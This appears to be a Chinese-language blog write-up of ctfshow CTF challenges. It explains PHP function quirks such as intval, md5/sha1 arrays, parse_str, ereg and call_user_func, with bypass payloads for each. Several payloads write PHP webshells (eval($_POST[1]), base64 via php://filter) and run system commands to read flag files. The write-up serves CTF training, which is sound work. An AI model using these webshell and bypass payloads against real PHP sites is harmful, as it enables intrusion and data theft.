写点什么

CTF 题目中遇到的 PHP 考点总结(一)

作者:H
  • 2022 年 2 月 15 日
  • 本文字数:6273 字

    阅读完需:约 21 分钟

CTF题目中遇到的PHP考点总结(一)

介绍

本篇文章主要总结了我在写 ctfshow 题目中遇到的关于 PHP 的考点。因为只总结知识点和考点会比较空洞,也不容易理解,所以我都是通过题目来总结考点,这样的话比较容易理解。

PHP 函数特性相关

一、

考点一:intval 函数传入非空数组时会返回 1 详情可以查一下 PHP 手册。【https://www.php.net/manual/zh/function.intval.php】 考点二:preg_match()只能处理字符串,当传入的是数组时将会返回 false,详情也可以查一下 PHP 手册。

例题

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if(preg_match("/[0-9]/", $num)){        die("no no no!");    }    if(intval($num)){        echo $flag;    }}
复制代码

例题分析:

分析上面的代码可以看出,正则匹配 0-9,匹配到则返回 true,直接 die,但是由于 preg_match()只能处理字符串,当传入的是数组时将会返回 false,从而绕过死亡函数。由于之前没怎么了解过 intval 函数,所以我直接选择查阅 php 手册【https://www.php.net/manual/zh/function.intval.php】查阅后发现 **intval()**函数用于获取变量的整数值。**intval()**函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。也就是说,当给 intval()函数传入一个非空的数组时,intval()函数将会返回 1,结合我们 preg_match()传入数组返回 false 的特性,这道题的 payload 就很清楚了。

payload:?num[]=1
复制代码

【技术文档】

1、200 多本网络安全系列电子书 2、全套工具包 3、100 份 src 源码技术文档 4、网络安全基础入门、Linux、web 安全、攻防方面的视频 5、 网络安全学习路线 6、ctf 夺旗赛解析

二、

考点一:PHP 比较运算符 ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等。

考点二:intval($value,$base)当 base 为 0 时,会检测 value 的格式来决定使用的进制。

例题:

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==="4476"){       #   === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等        die("no no no!");    }    if(intval($num,0)===4476){         echo $flag;    }else{        echo intval($num,0);    }}
复制代码

例题分析:

如下图所示,通过查询 php 手册,我们发现,intval($value,$base)当 base 为 0 时,会检测 value 的格式来决定使用的进制,所以我们可以通过把 4476 转换成 16 进制,经过 base 为 0 的 intval 函数处理,会识别 16 进制的 4476,从而返回 flag,又因为===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等,所以由于字符串类型不同会返回 false,从而绕过死亡函数。



payload:?num=?num=0x117c
复制代码

三、

考点一:strpos()函数查找字符串在另一字符串中第一次出现的位置并返回

考点二:intval($value,$base)当 base 为 0 时,会检测 value 的格式来决定使用的进制。

例题:

if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==="4476"){        die("no no no!");    }    if(preg_match("/[a-z]/i", $num)){        die("no no no!");    }    if(!strpos($num, "0")){      #strpos()函数查找字符串在另一字符串中第一次出现的位置并返回。        die("no no no!");    }    if(intval($num,0)===4476){        echo $flag;    }}
复制代码

例题分析:

这道题目如果我们可以用八进制的 4476 来绕过,那么会有一个问题,因为八进制需要开头指定为 0,而 strpos()会匹配到数字 0 返回 0,!0 也就是 1 从而执行死亡函数,所以我们可以在八进制前面加一个空格,这样 strpos()会返回 1,所以我们把 4476 转换为 8 进制 10574 后,前面再加一个空格即可。

payload 如下:

?num= 010574
复制代码

四、

考点一:PHP 比较运算符 ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等。

考点二:在 PHP 强比较中变量 a、b 两个值不一样,要求两者 md5 值相同时的绕过方法。

考点三:PHP 中 md5 函数处理数组类型会返回 falsefalse 的特性。

例题:

if (isset($_POST['a']) and isset($_POST['b'])) {	if ($_POST['a'] != $_POST['b'])		if (md5($_POST['a']) === md5($_POST['b']))			echo $flag;	else		print 'Wrong.';}
复制代码

例题分析:

这一道题涉及到了强比较的 md5 类型,从代码我们可以得知,要求 a、b 两个值不一样但是需要这两个值得 md5 值一样,因此强比较类型,我们可以利用 md5 函数处理数组类型会返回 false 的特性,从而利用 false=false 来绕过。我之前写过一篇总结相关知识点的文章链接如下:https://www.freebuf.com/articles/web/321300.html

payload:

a[]=1&b[]=2
复制代码

五、

考点一:in_array ()函数的作用是 检查数组中是否存在某个值,而当 in_array()函数没设置第三个参数时进行的比较是弱比较。

考点二:file_put_contents()函数的作用是将一个字符串写入文件。如果写入的字符串和文件名可控则可能导致任意文件上传漏洞。

例题:

$allow = array();      #创建空数组for ($i=36; $i < 0x36d; $i++) {    array_push($allow, rand(1,$i));    #在1-$i之间随机生成一个整数,添加到数组$allow尾部}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){    file_put_contents($_GET['n'], $_POST['content']);}
复制代码

例题分析:

由于之前不怎么了解 in_array()函数所以直接查了 PHP 手册https://www.php.net/manual/zh/function.in-array.php,发现这题在使用 in_array()函数时并没有设置第三个参数为 TRUE,所以此时 in_array 函数进行的比较是==的弱类型比较。也就是会先进行强制转换成相同类型,再比较两者的值是否相等,所以当我们传入 1.php 时会强制转换成数字 1,而数字 1 正好在 range(1,24)数组中,当随机生成的数字正好是 1 时就可以绕过 in_array()函数判断,导致任意文件上传漏洞。多试几次,直到不报错的那一次,说明成功传入一句话。之后访问 1.php 再通过再通过 post 传入 1=system('ls');即可查看目录,再访问这个 flag36d.php,即 post: 1=system('cat flag36d.php');即可在网页源码中看到 flag。

payload:

?n=1.phppost:   content=<?php eval($_POST[1]);?>  #写入一句话
复制代码

六、

考点一:**is_numeric()**函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。

考点二:php 有运算的优先级,而且&& > = > and

 

例题:

include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){    if(!preg_match("/\;/", $v2)){        if(preg_match("/\;/", $v3)){            eval("$v2('ctfshow')$v3");        }    }}
复制代码

例题分析:

**is_numeric()**函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。看到最后 eval,肯定是需要命令执行,这需要$v2传入命令,$v3需要;结尾,但这么一来 is_numeric 一处理就变成了

$vo = $v1 and FALSE and FAlse
复制代码

但 php 有运算的优先级,也就是&&> = > and

按照运算优先级,先执行=也就是赋值给 $a 为 true,false 就被忽略了,思路也就有了,payload 为

?v1=1&v2=system("tac ctfshow.php")&v3=;or?v1=1&v2=var_dump($ctfshow)&v3=; #var_dump() 函数用于输出变量的相关信息,这里用来获取ctfshow类中变量的相关信息。从而获得flag
复制代码

得到$flag_is_1ce376300x2d8dc70x2d4b870x2d9f0e0x2d1eea5dada15;,其中 0x2d 需要替换成-,然而一共 35 位还少了一位,最后一位需要爆破获得。

七、

考点一:is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 true,否则返回 false。如果字符串中含有一个 e 代表科学计数法,也可返回 true

考点二:call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数。

考点三:file_put_contents()函数的作用是将一个字符串写入文件。如果写入的字符串和文件名可控则可能导致任意文件上传漏洞。

考点四:通过 file_put_contents()函数配合 php://协议以 base64 编码的形式写入 webshell。

例题:

<?phphighlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3); #例题分析 通过将变量v2执行的命令base64加密后转换成16进制字符串来使得变量v4为tureif($v4){    $s = substr($v2,2);    $str = call_user_func($v1,$s);  #例题分析 通过变量v1调用hex2bin函数将变量v2的16进制字符串转换成原来的base64编码形式    echo $str;    file_put_contents($v3,$str);   #例题分析 通过使用php://filter伪协议写入webshell}else{    die('hacker');}
复制代码

例题分析:

首先,get 传参 v2 和 v3,post 传参 v1;if 中需要 v4 为真才能往下执行,而 v4 要为真就是 v2 传的参数要为数字或者数字字符串,同时 v2 也是我们要写入的 webshell,为了让 v2 为数字或者数字字符串,我们可以先把我们的 webshell 转换为 base64 编码,再把 base64 编码转换为 16 进制,这是一种办法去转换成数字。本地测试代码如下:

#本地测试代码<?php$b = base64_encode('<?=`tac *`;');$b = str_replace("=","",$b);echo "base64加密后:".$b."\n";$a = call_user_func('bin2hex',$b);  #bin2hex可以将base64编码形式转换成16进制字符串形式。echo "16进制形式:".$a."\n";var_dump(is_numeric($a));
/*运行结果base64加密后:PD89YHRhYyAqYDs16进制形式:504438395948526859794171594473bool(true)*/?>
复制代码

说明:<?=是 php 的短标签,是 echo()的快捷用法,还有一点,就是 substr()取得是从下标为 2 开始的字符串(字符串下标从 0 开始),所以我们需要在前面加 00 两位数

所以 payload 为

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin #通过hex2bin函数将16进制字符串转换成原来的base64编码形式
复制代码

八、

考点:sha1()函数特性,sha1 函数无法处理数组,遇到数组会返回 NULL

例题:

<?phphighlight_file(__FILE__);include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; }}
复制代码

**例题分析:**sha1 函数无法处理数组,遇到数组会返回 NULL,因此将两个变量都设置成数组类型即可获得 flag。

payload 如下:

?v2[]=             #给这两个值赋值与否都不影响
post:v1[]=
复制代码

九、

考点一:parse_str()函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。

例题:

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }}
复制代码

例题分析:

看完上面的代码就应该可以知道,这道题的关键就在于 parse_str()函数,于是直接查 PHP 手册中关于 parse_str()的介绍。这里附链接:https://www.php.net/parse_str/ 看完后我们可以发现该函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。分析上面的代码我们知道 v1 我们可控,并且我们知道 v2 数组中有 flag 这个键,因此我们可以通过 parse_str()函数将变量 v1 的变量名和变量值写入数组 v2,那么我们就可以覆盖掉 flag 这个键值对,并且 v3 我们可控因此就可以绕过下面 $v2['flag']==md5($v3)的比较从而输出 flag。这样思路有了,我们可以开始构造 payload,payload 如下:

?v3=1POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b   #md5解密后对应1
复制代码

十、

考点: ereg()函数的匹配可以被 %00 截断

例题:

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {    die('error');}//只有36d的人才能看到flagif(intval(strrev($_GET['c']))==0x36d){    echo $flag;}
复制代码

例题分析:

**ereg()**函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回 true,否则返回 false。搜索对于字母字符是区分大小写的

**strrev()**函数反转字符串。**intval()**函数用于获取变量的整数值。首先我们需要知道 %00 可以截断 ereg()函数的搜索,正则表达式只会匹配 %00 之前的内容;0x36d 的十进制内容为 877,我们需要字母在前来满足 if 条件的正则匹配来跳过 if 语句,接着再进行字符串的反转得到 877a,接着 intval()函数取整数部分得到 877 所以 payload 为

Code?c=a%00778
复制代码

十一、

考点一:**call_user_func()**函数会执行回调函数,call_user_func()把第一个参数作为回调函数,其余参数都是回调函数的参数

考点二:_()是一个函数 _()等效于 gettext() 是 gettext()的拓展函数。

考点三:get_defined_vars()函数的作用: 返回由所有已定义变量所组成的数组。

例题:

<?phperror_reporting(0);include("flag.php");highlight_file(__FILE__);
$f1 = $_GET['f1'];$f2 = $_GET['f2'];
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2)));}else{ echo "嗯哼?";}function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str);}
复制代码

例题分析:

**call_user_func()**函数把第一个参数作为回调函数,其余参数都是回调函数的参数

_()是一个函数 _()等效于 gettext() 是 gettext()的拓展函数。开启 text 扩展,需要 php 扩展目录下有 php_gettext.dll

#测试代码:<?phpecho gettext("ctfshownb");//输出结果:ctfshownb
echo _("ctfshownb");//输出结果:ctfshownb
复制代码

get_defined_vars()函数作用: 返回由所有已定义变量所组成的数组 这样可以获得 $flag

整个执行流程就是

var_dump(call_user_func(call_user_func($f1,$f2)));var_dump(call_user_func(call_user_func(_,'get_defined_vars')));var_dump(call_user_func(get_defined_vars));//输出数组
复制代码

**payload: **

?f1=_&f2=get_defined_vars
复制代码

十二、

考点: call_user_func()函数特性

例题一:

<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow{    function __wakeup(){        die("private class");    }    static function getFlag(){        echo file_get_contents("flag.php");    }}call_user_func($_POST['ctfshow']);
复制代码

例题分析:

直接调用 ctfshow 类中的 getFlag 方法就好,payload 为

post:ctfshow=ctfshow::getFlag
复制代码

**补充:**call_user_func()函数在 PHP 手册中的介绍:https://www.php.net/manual/zh/function.call-user-func.php

例题二:

<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow{    function __wakeup(){        die("private class");    }    static function getFlag(){        echo file_get_contents("flag.php");    }}if(strripos($_POST['ctfshow'], ":")>-1){    die("private function");}call_user_func($_POST['ctfshow']);
复制代码

例题分析:

在前一题基础上把冒号给 ban 了,但call_user_func()支持传入数组形式。

call_user_func(array($ctfshow, ‘getFlag’));这时候会调用 ctfshow 中的 getFlag 方法

所以 payload 为

post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
复制代码


用户头像

H

关注

还未添加个人签名 2021.08.04 加入

还未添加个人简介

评论

发布
暂无评论
CTF题目中遇到的PHP考点总结(一)